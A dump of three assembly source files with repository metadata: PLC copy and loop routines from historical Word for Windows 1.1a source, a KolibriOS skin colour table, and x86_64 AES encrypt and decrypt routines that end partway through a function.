;int iFirst;
;int iLim;
;char *pResult;
;int wRoutine;
;{
; union {
; struct PAD pad;
; struct PGD pgd;
; struct PHE phe;
; struct SED sed;
; struct FRD frd;
; struct PCD pcd;
; } foo;
; int ifoo;
; %%Function:N_MiscPlcLoops %%Owner:BRADV
cProc N_MiscPlcLoops,<PUBLIC,FAR>,<si,di>
ParmW hplc
ParmW iFirst
ParmW iLim
ParmW pResult
ParmW wRoutine
cBegin
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
mov bx,[hplc]
mov si,[iFirst]
ifdef DEBUG
mov di,1 ;O.K. to pass ifldMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call MSL09
endif ;DEBUG
xchg ax,cx
mov cx,[iLim]
sub cx,[iFirst]
jle MSL08
mov di,[pResult]
; if (wRoutine == 0 /* SetPlcUnk */)
; {
cmp bptr ([wRoutine]),1
jae MSL02
; for (ifoo = iFirst; ifoo < iLim; ifoo++)
; {
; GetPlc(hplc, ifoo, &foo);
; foo.pad.fUnk = fTrue;
; PutPlcLast(hplc, ifoo, &foo);
; }
MSL01:
or es:[si.fUnkPgd],maskFUnkPgd
add si,ax
loop MSL01
; }
jmp short MSL08
; if (wRoutine == 1 /* NAutoFtn */)
; {
MSL02:
ja MSL05
; for (ifoo = iFirst; ifoo < iLim; ifoo++)
; {
; GetPlc(hplc, ifoo, &foo);
; *((int *)pResult) += foo.frd.fAuto;
; }
mov bx,[di]
; Assert(hplc->cb == 2);
ifdef DEBUG
cmp ax,2
je MSL03
push ax
push bx
push cx
push dx
mov ax,midClsplcn
mov bx,1023
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
MSL03:
endif ;/* DEBUG */
MSL04:
lods wptr es:[si]
add bx,ax
loop MSL04
mov [di],bx
jmp short MSL08
; }
; if (wRoutine == 2 /* MarkAllReferencedFn */)
; {
MSL05:
; for (ifoo = iFirst; ifoo < iLim; ifoo++)
; {
; GetPlc(hplc, ifoo, &foo);
; Assert(foo.pcd.fn < fnMax);
; Assert(fnNil == 0);
; pResult[foo.pcd.fn] = fTrue;
; }
xor bx,bx
MSL06:
mov bl,es:[si.fnPcd]
ifdef DEBUG
cmp bl,fnMax
jb MSL07
push ax
push bx
push cx
push dx
mov ax,midClsplcn
mov bx,1024
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
MSL07:
endif ;/* DEBUG */
mov bptr [bx+di],fTrue
add si,ax
loop MSL06
; }
MSL08:
;}
cEnd
ifdef DEBUG
MSL09:
push ax
push bx
push cx
push dx
push es ;save es from QcpQfooPlcfoo
mov bx,dx
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc MSL10
;Assembler note: There is no way we should have to call ReloadSb here.
; reload sb trashes ax, cx, and dx
; cCall ReloadSb,<>
mov ax,midClsplcn
mov bx,1025
cCall AssertProcForNative,<ax,bx>
MSL10:
pop ax ;restore es from QcpQfooPlcfoo
mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo
cmp ax,bx
je MSL11
mov ax,midClsplcn
mov bx,1026
cCall AssertProcForNative,<ax,bx>
MSL11:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
; End of MiscPlcLoops
;-------------------------------------------------------------------------
; CopyMultPlc( cFoo, hplcSrc, ifooSrc, hplcDest, ifooDest,
; dcp, di, dc )
;-------------------------------------------------------------------------
;/* C O P Y M U L T P L C */
;/* this routine can copy a block of entries from one plc to another (needs
;separate base registers in 8086 architecture).
;Dcp optionally (!=0) added to the copied cp's.
;di (0 or 1) is optional displacement for cp indeces. In some plc's it is
;necessary to move cp[i + 1] with foo[i].
;dc (0 or 1) is optional extra count for cp copying. In some plc's it is
;necessary to move one more cp's than foo's.
;*/
;native CopyMultPlc(cFoo, hplcSrc, ifooSrc, hplcDest, ifooDest, dcp, di, dc)
;int cFoo;
;struct PLC **hplcSrc, **hplcDest;
;int ifooSrc, ifooDest;
;CP dcp;
;int di, dc;
;{
; %%Function:CopyMultPlc %%Owner:BRADV
cProc CopyMultPlc,<PUBLIC,FAR>,<si,di>
ParmW cFoo
ParmW hplcSrc
ParmW ifooSrc
ParmW hplcDest
ParmW ifooDest
ParmD dcp
ParmW diArg
ParmW dcArg
LocalW <OFF_lprgcpSrc>
LocalW <OFF_lprgcpDest>
cBegin
; AssertH( hplcSrc );
; AssertH( hplcDest );
ifdef DEBUG
push ax
push bx
push cx
push dx
mov ax,midClsplcn
mov bx,1027
cCall AssertHForNative,<hplcSrc, ax, bx>
mov ax,midClsplcn
mov bx,1028
cCall AssertHForNative,<hplcDest, ax, bx>
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; save old cFoo, ifooSrc, ifooDest for blt.
push [cFoo]
; ifooSrc += di; ifooDest += di;
;Assembler note: add diArg to the ifoos only when we need them.
mov di,[diArg]
; cFoo += dc;
mov ax,[dcArg]
add [cFoo],ax
;/* unwind the fenced PLC optimization, so that cps are accurate. */
; if ((*hplcDest)->icpAdjust < ifooDest)
; AdjustHplcCpsToLim(hplcDest, ifooDest);
; if ((*hplcSrc)->icpAdjust < ifooSrc + cFoo)
; AdjustHplcCpsToLim(hplcSrc, ifooSrc + cFoo);
mov bx,[hplcSrc]
mov si,[bx]
mov ax,[ifooSrc]
add ax,di
add ax,[cFoo]
cmp ax,[si.icpAdjustPlc]
jle CMP03
cCall AdjustHplcCpsToLim,<bx,ax>
CMP03:
mov bx,[hplcDest]
mov si,[bx]
mov ax,[ifooDest]
add ax,di
cmp ax,[si.icpAdjustPlc]
jle CMP04
cCall AdjustHplcCpsToLim,<bx,ax>
CMP04:
;/* we must move the destination adjustment fence past the end of the range
; we're going to write over. */
; if ((*hplcDest)->icpAdjust < ifooDest + cFoo)
; (*hplcDest)->icpAdjust = ifooDest + cFoo;
; di = *hplcDest
mov ax,[ifooDest]
add ax,di
add ax,[cFoo]
cmp ax,[si.icpAdjustPlc]
jle CMP05
mov [si.icpAdjustPlc],ax
CMP05:
; /* transfer foo's */
; NOTE: We don't check for cFoo == 0 in the assembler version
; because the blt code does necessary segment reloading.
; if (cFoo > 0)
; bltbx(QInPlc(hplcSrc, ifooSrc), QInPlc(hplcDest, ifooDest), (*hplcSrc)->cb * cFoo);
; It is possible that the call later on to ReloadSb for hplcDest
; would force out the sb for hplcSrc. This would happen if now
; sbSrc was oldest on the LRU list but still swapped in, and sbDest
; was swapped out. In that event ReloadSb would not be called for
; sbSrc, the LRU entry would not get updated, and the call to ReloadSb
; for sbDest would swap out sbSrc.
; This call to QcpQfooPlcfoo makes that state impossible and so works
; around the LMEM quirk.
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
mov bx,[hplcDest]
xor si,si
ifdef DEBUG
mov di,1 ;O.K. to pass ifldMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call CMP12
endif ;DEBUG
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
mov bx,[hplcSrc]
mov si,[ifooSrc]
ifdef DEBUG
mov di,1 ;O.K. to pass ifldMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call CMP12
endif ;DEBUG
mov [OFF_lprgcpSrc],di
push es
push si ;save lpFooSrc
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
mov bx,[hplcDest]
mov si,[ifooDest]
ifdef DEBUG
mov di,1 ;O.K. to pass ifldMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call CMP12
endif ;DEBUG
mov [OFF_lprgcpDest],di
mov di,si
pop si
pop ds ;restore lpFooSrc
pop ax ;restore old cFoo
mul ss:[bx.cbPlc]
xchg ax,cx
cmp si,di ; reverse direction of the blt if
jae CMP08 ; necessary
add si,cx
add di,cx
std
dec si
dec di
dec si
dec di
CMP08:
shr cx,1
ifdef DEBUG
jnc CMP085
push ax
push bx
push cx
push dx
cld
mov ax,midClsplcn
mov bx,1029
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
CMP085:
endif ;/* DEBUG */
rep movsw
cld
; CP far *lprgcpSrc = LprgcpForPlc(*hplcSrc);
; CP far *lprgcpDest = LprgcpForPlc(*hplcDest);
mov ax,[diArg]
shl ax,1
shl ax,1
mov si,[OFF_lprgcpSrc]
add si,ax
mov di,[OFF_lprgcpDest]
add di,ax
; /* transfer cp's */
; bltbx((char far *)(lprgcpSrc) + ifooSrc * sizeof(CP),
; (char far *)(lprgcpDest) + ifooDest * sizeof(CP),
; cFoo * sizeof(CP));
; if (dcp != cp0)
; while (cFoo--)
; {
; PutCpPlc(hplcDest, ifooDest, CpPlc(hplcDest, ifooDest) + dcp);
; ifooDest++;
; }
mov bx,[OFF_dcp]
mov dx,[SEG_dcp]
mov cx,[cFoo]
push bp
xor bp,bp
cmp si,di
ja CMP09
mov bp,cx
dec bp
shl bp,1
shl bp,1
add si,bp
add di,bp
mov bp,8
CMP09:
inc cx ;adjust for loop instruction
jmp short CMP11
CMP10:
lodsw
add ax,bx
stosw
lodsw
adc ax,dx
stosw
sub si,bp
sub di,bp
CMP11:
loop CMP10
pop bp
push ss
pop ds
;}
cEnd
ifdef DEBUG
CMP12:
push ax
push bx
push cx
push dx
push es ;save es from QcpQfooPlcfoo
mov bx,dx
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc CMP13
;Assembler note: There is no way we should have to call ReloadSb here.
; reload sb trashes ax, cx, and dx
; cCall ReloadSb,<>
mov ax,midClsplcn
mov bx,1030
cCall AssertProcForNative,<ax,bx>
CMP13:
pop ax ;restore es from QcpQfooPlcfoo
mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo
cmp ax,bx
je CMP14
mov ax,midClsplcn
mov bx,1031
cCall AssertProcForNative,<ax,bx>
CMP14:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
; End of CopyMultPlc
sEnd clsplcn
end
| lborgav/Historical-Source-Codes | Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/clsplcn.asm | Assembly | mit | 35,554 |
;SYSTEM COLORS (.DTP) - COMPILE WITH FASM
frame dd 0x131313
grab dd 0x3E3E3E
grab_button dd 0x904e2b
grab_button_text dd 0x341e0e
grab_text dd 0xaa552f
work dd 0xc8c8c8
work_button dd 0xc8c8c8
work_button_text dd 0x000000
work_text dd 0x000000
work_graph dd 0x868686 | devlato/kolibrios-llvm | skins/humanoid_OSX/humanoid_OSX_orange/default.dtp.asm | Assembly | mit | 341 |
OPTION DOTNAME
.text$ SEGMENT ALIGN(64) 'CODE'
ALIGN 16
_x86_64_AES_encrypt PROC PRIVATE
xor eax,DWORD PTR[r15]
xor ebx,DWORD PTR[4+r15]
xor ecx,DWORD PTR[8+r15]
xor edx,DWORD PTR[12+r15]
mov r13d,DWORD PTR[240+r15]
sub r13d,1
jmp $L$enc_loop
ALIGN 16
$L$enc_loop::
movzx esi,al
movzx edi,bl
movzx ebp,cl
mov r10d,DWORD PTR[rsi*8+r14]
mov r11d,DWORD PTR[rdi*8+r14]
mov r12d,DWORD PTR[rbp*8+r14]
movzx esi,bh
movzx edi,ch
movzx ebp,dl
xor r10d,DWORD PTR[3+rsi*8+r14]
xor r11d,DWORD PTR[3+rdi*8+r14]
mov r8d,DWORD PTR[rbp*8+r14]
movzx esi,dh
shr ecx,16
movzx ebp,ah
xor r12d,DWORD PTR[3+rsi*8+r14]
shr edx,16
xor r8d,DWORD PTR[3+rbp*8+r14]
shr ebx,16
lea r15,QWORD PTR[16+r15]
shr eax,16
movzx esi,cl
movzx edi,dl
movzx ebp,al
xor r10d,DWORD PTR[2+rsi*8+r14]
xor r11d,DWORD PTR[2+rdi*8+r14]
xor r12d,DWORD PTR[2+rbp*8+r14]
movzx esi,dh
movzx edi,ah
movzx ebp,bl
xor r10d,DWORD PTR[1+rsi*8+r14]
xor r11d,DWORD PTR[1+rdi*8+r14]
xor r8d,DWORD PTR[2+rbp*8+r14]
mov edx,DWORD PTR[12+r15]
movzx edi,bh
movzx ebp,ch
mov eax,DWORD PTR[r15]
xor r12d,DWORD PTR[1+rdi*8+r14]
xor r8d,DWORD PTR[1+rbp*8+r14]
mov ebx,DWORD PTR[4+r15]
mov ecx,DWORD PTR[8+r15]
xor eax,r10d
xor ebx,r11d
xor ecx,r12d
xor edx,r8d
sub r13d,1
jnz $L$enc_loop
movzx esi,al
movzx edi,bl
movzx ebp,cl
movzx r10d,BYTE PTR[2+rsi*8+r14]
movzx r11d,BYTE PTR[2+rdi*8+r14]
movzx r12d,BYTE PTR[2+rbp*8+r14]
movzx esi,dl
movzx edi,bh
movzx ebp,ch
movzx r8d,BYTE PTR[2+rsi*8+r14]
mov edi,DWORD PTR[rdi*8+r14]
mov ebp,DWORD PTR[rbp*8+r14]
and edi,00000ff00h
and ebp,00000ff00h
xor r10d,edi
xor r11d,ebp
shr ecx,16
movzx esi,dh
movzx edi,ah
shr edx,16
mov esi,DWORD PTR[rsi*8+r14]
mov edi,DWORD PTR[rdi*8+r14]
and esi,00000ff00h
and edi,00000ff00h
shr ebx,16
xor r12d,esi
xor r8d,edi
shr eax,16
movzx esi,cl
movzx edi,dl
movzx ebp,al
mov esi,DWORD PTR[rsi*8+r14]
mov edi,DWORD PTR[rdi*8+r14]
mov ebp,DWORD PTR[rbp*8+r14]
and esi,000ff0000h
and edi,000ff0000h
and ebp,000ff0000h
xor r10d,esi
xor r11d,edi
xor r12d,ebp
movzx esi,bl
movzx edi,dh
movzx ebp,ah
mov esi,DWORD PTR[rsi*8+r14]
mov edi,DWORD PTR[2+rdi*8+r14]
mov ebp,DWORD PTR[2+rbp*8+r14]
and esi,000ff0000h
and edi,0ff000000h
and ebp,0ff000000h
xor r8d,esi
xor r10d,edi
xor r11d,ebp
movzx esi,bh
movzx edi,ch
mov edx,DWORD PTR[((16+12))+r15]
mov esi,DWORD PTR[2+rsi*8+r14]
mov edi,DWORD PTR[2+rdi*8+r14]
mov eax,DWORD PTR[((16+0))+r15]
and esi,0ff000000h
and edi,0ff000000h
xor r12d,esi
xor r8d,edi
mov ebx,DWORD PTR[((16+4))+r15]
mov ecx,DWORD PTR[((16+8))+r15]
xor eax,r10d
xor ebx,r11d
xor ecx,r12d
xor edx,r8d
DB 0f3h,0c3h
_x86_64_AES_encrypt ENDP
ALIGN 16
_x86_64_AES_encrypt_compact PROC PRIVATE
lea r8,QWORD PTR[128+r14]
mov edi,DWORD PTR[((0-128))+r8]
mov ebp,DWORD PTR[((32-128))+r8]
mov r10d,DWORD PTR[((64-128))+r8]
mov r11d,DWORD PTR[((96-128))+r8]
mov edi,DWORD PTR[((128-128))+r8]
mov ebp,DWORD PTR[((160-128))+r8]
mov r10d,DWORD PTR[((192-128))+r8]
mov r11d,DWORD PTR[((224-128))+r8]
jmp $L$enc_loop_compact
ALIGN 16
$L$enc_loop_compact::
xor eax,DWORD PTR[r15]
xor ebx,DWORD PTR[4+r15]
xor ecx,DWORD PTR[8+r15]
xor edx,DWORD PTR[12+r15]
lea r15,QWORD PTR[16+r15]
movzx r10d,al
movzx r11d,bl
movzx r12d,cl
movzx r8d,dl
movzx esi,bh
movzx edi,ch
shr ecx,16
movzx ebp,dh
movzx r10d,BYTE PTR[r10*1+r14]
movzx r11d,BYTE PTR[r11*1+r14]
movzx r12d,BYTE PTR[r12*1+r14]
movzx r8d,BYTE PTR[r8*1+r14]
movzx r9d,BYTE PTR[rsi*1+r14]
movzx esi,ah
movzx r13d,BYTE PTR[rdi*1+r14]
movzx edi,cl
movzx ebp,BYTE PTR[rbp*1+r14]
movzx esi,BYTE PTR[rsi*1+r14]
shl r9d,8
shr edx,16
shl r13d,8
xor r10d,r9d
shr eax,16
movzx r9d,dl
shr ebx,16
xor r11d,r13d
shl ebp,8
movzx r13d,al
movzx edi,BYTE PTR[rdi*1+r14]
xor r12d,ebp
shl esi,8
movzx ebp,bl
shl edi,16
xor r8d,esi
movzx r9d,BYTE PTR[r9*1+r14]
movzx esi,dh
movzx r13d,BYTE PTR[r13*1+r14]
xor r10d,edi
shr ecx,8
movzx edi,ah
shl r9d,16
shr ebx,8
shl r13d,16
xor r11d,r9d
movzx ebp,BYTE PTR[rbp*1+r14]
movzx esi,BYTE PTR[rsi*1+r14]
movzx edi,BYTE PTR[rdi*1+r14]
movzx edx,BYTE PTR[rcx*1+r14]
movzx ecx,BYTE PTR[rbx*1+r14]
shl ebp,16
xor r12d,r13d
shl esi,24
xor r8d,ebp
shl edi,24
xor r10d,esi
shl edx,24
xor r11d,edi
shl ecx,24
mov eax,r10d
mov ebx,r11d
xor ecx,r12d
xor edx,r8d
cmp r15,QWORD PTR[16+rsp]
je $L$enc_compact_done
mov r10d,080808080h
mov r11d,080808080h
and r10d,eax
and r11d,ebx
mov esi,r10d
mov edi,r11d
shr r10d,7
lea r8d,DWORD PTR[rax*1+rax]
shr r11d,7
lea r9d,DWORD PTR[rbx*1+rbx]
sub esi,r10d
sub edi,r11d
and r8d,0fefefefeh
and r9d,0fefefefeh
and esi,01b1b1b1bh
and edi,01b1b1b1bh
mov r10d,eax
mov r11d,ebx
xor r8d,esi
xor r9d,edi
xor eax,r8d
xor ebx,r9d
mov r12d,080808080h
rol eax,24
mov ebp,080808080h
rol ebx,24
and r12d,ecx
and ebp,edx
xor eax,r8d
xor ebx,r9d
mov esi,r12d
ror r10d,16
mov edi,ebp
ror r11d,16
lea r8d,DWORD PTR[rcx*1+rcx]
shr r12d,7
xor eax,r10d
shr ebp,7
xor ebx,r11d
ror r10d,8
lea r9d,DWORD PTR[rdx*1+rdx]
ror r11d,8
sub esi,r12d
sub edi,ebp
xor eax,r10d
xor ebx,r11d
and r8d,0fefefefeh
and r9d,0fefefefeh
and esi,01b1b1b1bh
and edi,01b1b1b1bh
mov r12d,ecx
mov ebp,edx
xor r8d,esi
xor r9d,edi
ror r12d,16
xor ecx,r8d
ror ebp,16
xor edx,r9d
rol ecx,24
mov esi,DWORD PTR[r14]
rol edx,24
xor ecx,r8d
mov edi,DWORD PTR[64+r14]
xor edx,r9d
mov r8d,DWORD PTR[128+r14]
xor ecx,r12d
ror r12d,8
xor edx,ebp
ror ebp,8
xor ecx,r12d
mov r9d,DWORD PTR[192+r14]
xor edx,ebp
jmp $L$enc_loop_compact
ALIGN 16
$L$enc_compact_done::
xor eax,DWORD PTR[r15]
xor ebx,DWORD PTR[4+r15]
xor ecx,DWORD PTR[8+r15]
xor edx,DWORD PTR[12+r15]
DB 0f3h,0c3h
_x86_64_AES_encrypt_compact ENDP
PUBLIC AES_encrypt
ALIGN 16
PUBLIC asm_AES_encrypt
asm_AES_encrypt::
AES_encrypt PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_AES_encrypt::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r10,rsp
lea rcx,QWORD PTR[((-63))+rdx]
and rsp,-64
sub rcx,rsp
neg rcx
and rcx,03c0h
sub rsp,rcx
sub rsp,32
mov QWORD PTR[16+rsp],rsi
mov QWORD PTR[24+rsp],r10
$L$enc_prologue::
mov r15,rdx
mov r13d,DWORD PTR[240+r15]
mov eax,DWORD PTR[rdi]
mov ebx,DWORD PTR[4+rdi]
mov ecx,DWORD PTR[8+rdi]
mov edx,DWORD PTR[12+rdi]
shl r13d,4
lea rbp,QWORD PTR[r13*1+r15]
mov QWORD PTR[rsp],r15
mov QWORD PTR[8+rsp],rbp
lea r14,QWORD PTR[(($L$AES_Te+2048))]
lea rbp,QWORD PTR[768+rsp]
sub rbp,r14
and rbp,0300h
lea r14,QWORD PTR[rbp*1+r14]
call _x86_64_AES_encrypt_compact
mov r9,QWORD PTR[16+rsp]
mov rsi,QWORD PTR[24+rsp]
mov DWORD PTR[r9],eax
mov DWORD PTR[4+r9],ebx
mov DWORD PTR[8+r9],ecx
mov DWORD PTR[12+r9],edx
mov r15,QWORD PTR[rsi]
mov r14,QWORD PTR[8+rsi]
mov r13,QWORD PTR[16+rsi]
mov r12,QWORD PTR[24+rsi]
mov rbp,QWORD PTR[32+rsi]
mov rbx,QWORD PTR[40+rsi]
lea rsp,QWORD PTR[48+rsi]
$L$enc_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_AES_encrypt::
AES_encrypt ENDP
ALIGN 16
_x86_64_AES_decrypt PROC PRIVATE
xor eax,DWORD PTR[r15]
xor ebx,DWORD PTR[4+r15]
xor ecx,DWORD PTR[8+r15]
xor edx,DWORD PTR[12+r15]
mov r13d,DWORD PTR[240+r15]
sub r13d,1
jmp $L$dec_loop
ALIGN 16
$L$dec_loop::
movzx esi,al
movzx edi,bl
movzx ebp,cl
mov r10d,DWORD PTR[rsi*8+r14]
mov r11d,DWORD PTR[rdi*8+r14]
mov r12d,DWORD PTR[rbp*8+r14]
movzx esi,dh
movzx edi,ah
movzx ebp,dl
xor r10d,DWORD PTR[3+rsi*8+r14]
xor r11d,DWORD PTR[3+rdi*8+r14]
mov r8d,DWORD PTR[rbp*8+r14]
movzx esi,bh
shr eax,16
movzx ebp,ch
xor r12d,DWORD PTR[3+rsi*8+r14]
shr edx,16
xor r8d,DWORD PTR[3+rbp*8+r14]
shr ebx,16
lea r15,QWORD PTR[16+r15]
shr ecx,16
movzx esi,cl
movzx edi,dl
movzx ebp,al
xor r10d,DWORD PTR[2+rsi*8+r14]
xor r11d,DWORD PTR[2+rdi*8+r14]
xor r12d,DWORD PTR[2+rbp*8+r14]
movzx esi,bh
movzx edi,ch
movzx ebp,bl
xor r10d,DWORD PTR[1+rsi*8+r14]
xor r11d,DWORD PTR[1+rdi*8+r14]
xor r8d,DWORD PTR[2+rbp*8+r14]
movzx esi,dh
mov edx,DWORD PTR[12+r15]
movzx ebp,ah
xor r12d,DWORD PTR[1+rsi*8+r14]
mov eax,DWORD PTR[r15]
xor r8d,DWORD PTR[1+rbp*8+r14]
xor eax,r10d
mov ebx,DWORD PTR[4+r15]
mov ecx,DWORD PTR[8+r15]
xor ecx,r12d
xor ebx,r11d
xor edx,r8d
sub r13d,1
jnz $L$dec_loop
lea r14,QWORD PTR[2048+r14]
movzx esi,al
movzx edi,bl
movzx ebp,cl
movzx r10d,BYTE PTR[rsi*1+r14]
movzx r11d,BYTE PTR[rdi*1+r14]
movzx r12d,BYTE PTR[rbp*1+r14]
movzx esi,dl
movzx edi,dh
movzx ebp,ah
movzx r8d,BYTE PTR[rsi*1+r14]
movzx edi,BYTE PTR[rdi*1+r14]
movzx ebp,BYTE PTR[rbp*1+r14]
shl edi,8
shl ebp,8
xor r10d,edi
xor r11d,ebp
shr edx,16
movzx esi,bh
movzx edi,ch
shr eax,16
movzx esi,BYTE PTR[rsi*1+r14]
movzx edi,BYTE PTR[rdi*1+r14]
shl esi,8
shl edi,8
shr ebx,16
xor r12d,esi
xor r8d,edi
shr ecx,16
movzx esi,cl
movzx edi,dl
movzx ebp,al
movzx esi,BYTE PTR[rsi*1+r14]
movzx edi,BYTE PTR[rdi*1+r14]
movzx ebp,BYTE PTR[rbp*1+r14]
shl esi,16
shl edi,16
shl ebp,16
xor r10d,esi
xor r11d,edi
xor r12d,ebp
movzx esi,bl
movzx edi,bh
movzx ebp,ch
movzx esi,BYTE PTR[rsi*1+r14]
movzx edi,BYTE PTR[rdi*1+r14]
movzx ebp,BYTE PTR[rbp*1+r14]
shl esi,16
shl edi,24
shl ebp,24
xor r8d,esi
xor r10d,edi
xor r11d,ebp
movzx esi,dh
movzx edi,ah
mov edx,DWORD PTR[((16+12))+r15]
movzx esi,BYTE PTR[rsi*1+r14]
movzx edi,BYTE PTR[rdi*1+r14]
mov eax,DWORD PTR[((16+0))+r15]
shl esi,24
shl edi,24
xor r12d,esi
xor r8d,edi
mov ebx,DWORD PTR[((16+4))+r15]
mov ecx,DWORD PTR[((16+8))+r15]
lea r14,QWORD PTR[((-2048))+r14]
xor eax,r10d
xor ebx,r11d
xor ecx,r12d
xor edx,r8d
DB 0f3h,0c3h
_x86_64_AES_decrypt ENDP
ALIGN 16
_x86_64_AES_decrypt_compact PROC PRIVATE
lea r8,QWORD PTR[128+r14]
mov edi,DWORD PTR[((0-128))+r8]
mov ebp,DWORD PTR[((32-128))+r8]
mov r10d,DWORD PTR[((64-128))+r8]
mov r11d,DWORD PTR[((96-128))+r8]
mov edi,DWORD PTR[((128-128))+r8]
mov ebp,DWORD PTR[((160-128))+r8]
mov r10d,DWORD PTR[((192-128))+r8]
mov r11d,DWORD PTR[((224-128))+r8]
jmp $L$dec_loop_compact
ALIGN 16
$L$dec_loop_compact::
xor eax,DWORD PTR[r15]
xor ebx,DWORD PTR[4+r15]
xor ecx,DWORD PTR[8+r15]
xor edx,DWORD PTR[12+r15]
lea r15,QWORD PTR[16+r15]
movzx r10d,al
movzx r11d,bl
movzx r12d,cl
movzx r8d,dl
movzx esi,dh
movzx edi,ah
shr edx,16
movzx ebp,bh
movzx r10d,BYTE PTR[r10*1+r14]
movzx r11d,BYTE PTR[r11*1+r14]
movzx r12d,BYTE PTR[r12*1+r14]
movzx r8d,BYTE PTR[r8*1+r14]
movzx r9d,BYTE PTR[rsi*1+r14]
movzx esi,ch
movzx r13d,BYTE PTR[rdi*1+r14]
movzx ebp,BYTE PTR[rbp*1+r14]
movzx esi,BYTE PTR[rsi*1+r14]
shr ecx,16
shl r13d,8
shl r9d,8
movzx edi,cl
shr eax,16
xor r10d,r9d
shr ebx,16
movzx r9d,dl
shl ebp,8
xor r11d,r13d
shl esi,8
movzx r13d,al
movzx edi,BYTE PTR[rdi*1+r14]
xor r12d,ebp
movzx ebp,bl
shl edi,16
xor r8d,esi
movzx r9d,BYTE PTR[r9*1+r14]
movzx esi,bh
movzx ebp,BYTE PTR[rbp*1+r14]
xor r10d,edi
movzx r13d,BYTE PTR[r13*1+r14]
movzx edi,ch
shl ebp,16
shl r9d,16
shl r13d,16
xor r8d,ebp
movzx ebp,dh
xor r11d,r9d
shr eax,8
xor r12d,r13d
movzx esi,BYTE PTR[rsi*1+r14]
movzx ebx,BYTE PTR[rdi*1+r14]
movzx ecx,BYTE PTR[rbp*1+r14]
movzx edx,BYTE PTR[rax*1+r14]
mov eax,r10d
shl esi,24
shl ebx,24
shl ecx,24
xor eax,esi
shl edx,24
xor ebx,r11d
xor ecx,r12d
xor edx,r8d
cmp r15,QWORD PTR[16+rsp]
je $L$dec_compact_done
mov rsi,QWORD PTR[((256+0))+r14]
shl rbx,32
shl rdx,32
mov rdi,QWORD PTR[((256+8))+r14]
or rax,rbx
or rcx,rdx
mov rbp,QWORD PTR[((256+16))+r14]
mov r9,rsi
mov r12,rsi
and r9,rax
and r12,rcx
mov rbx,r9
mov rdx,r12
shr r9,7
lea r8,QWORD PTR[rax*1+rax]
shr r12,7
lea r11,QWORD PTR[rcx*1+rcx]
sub rbx,r9
sub rdx,r12
and r8,rdi
and r11,rdi
and rbx,rbp
and rdx,rbp
xor r8,rbx
xor r11,rdx
mov r10,rsi
mov r13,rsi
and r10,r8
and r13,r11
mov rbx,r10
mov rdx,r13
shr r10,7
lea r9,QWORD PTR[r8*1+r8]
shr r13,7
lea r12,QWORD PTR[r11*1+r11]
sub rbx,r10
sub rdx,r13
and r9,rdi
and r12,rdi
and rbx,rbp
and rdx,rbp
xor r9,rbx
xor r12,rdx
mov r10,rsi
mov r13,rsi
and r10,r9
and r13,r12
mov rbx,r10
mov rdx,r13
shr r10,7
xor r8,rax
shr r13,7
xor r11,rcx
sub rbx,r10
sub rdx,r13
lea r10,QWORD PTR[r9*1+r9]
lea r13,QWORD PTR[r12*1+r12]
xor r9,rax
xor r12,rcx
and r10,rdi
and r13,rdi
and rbx,rbp
and rdx,rbp
xor r10,rbx
xor r13,rdx
xor rax,r10
xor rcx,r13
xor r8,r10
xor r11,r13
mov rbx,rax
mov rdx,rcx
xor r9,r10
shr rbx,32
xor r12,r13
shr rdx,32
xor r10,r8
rol eax,8
xor r13,r11
rol ecx,8
xor r10,r9
rol ebx,8
xor r13,r12
rol edx,8
xor eax,r10d
shr r10,32
xor ecx,r13d
shr r13,32
xor ebx,r10d
xor edx,r13d
mov r10,r8
rol r8d,24
mov r13,r11
rol r11d,24
shr r10,32
xor eax,r8d
shr r13,32
xor ecx,r11d
rol r10d,24
mov r8,r9
rol r13d,24
mov r11,r12
shr r8,32
xor ebx,r10d
shr r11,32
xor edx,r13d
mov rsi,QWORD PTR[r14]
rol r9d,16
mov rdi,QWORD PTR[64+r14]
rol r12d,16
mov rbp,QWORD PTR[128+r14]
rol r8d,16
mov r10,QWORD PTR[192+r14]
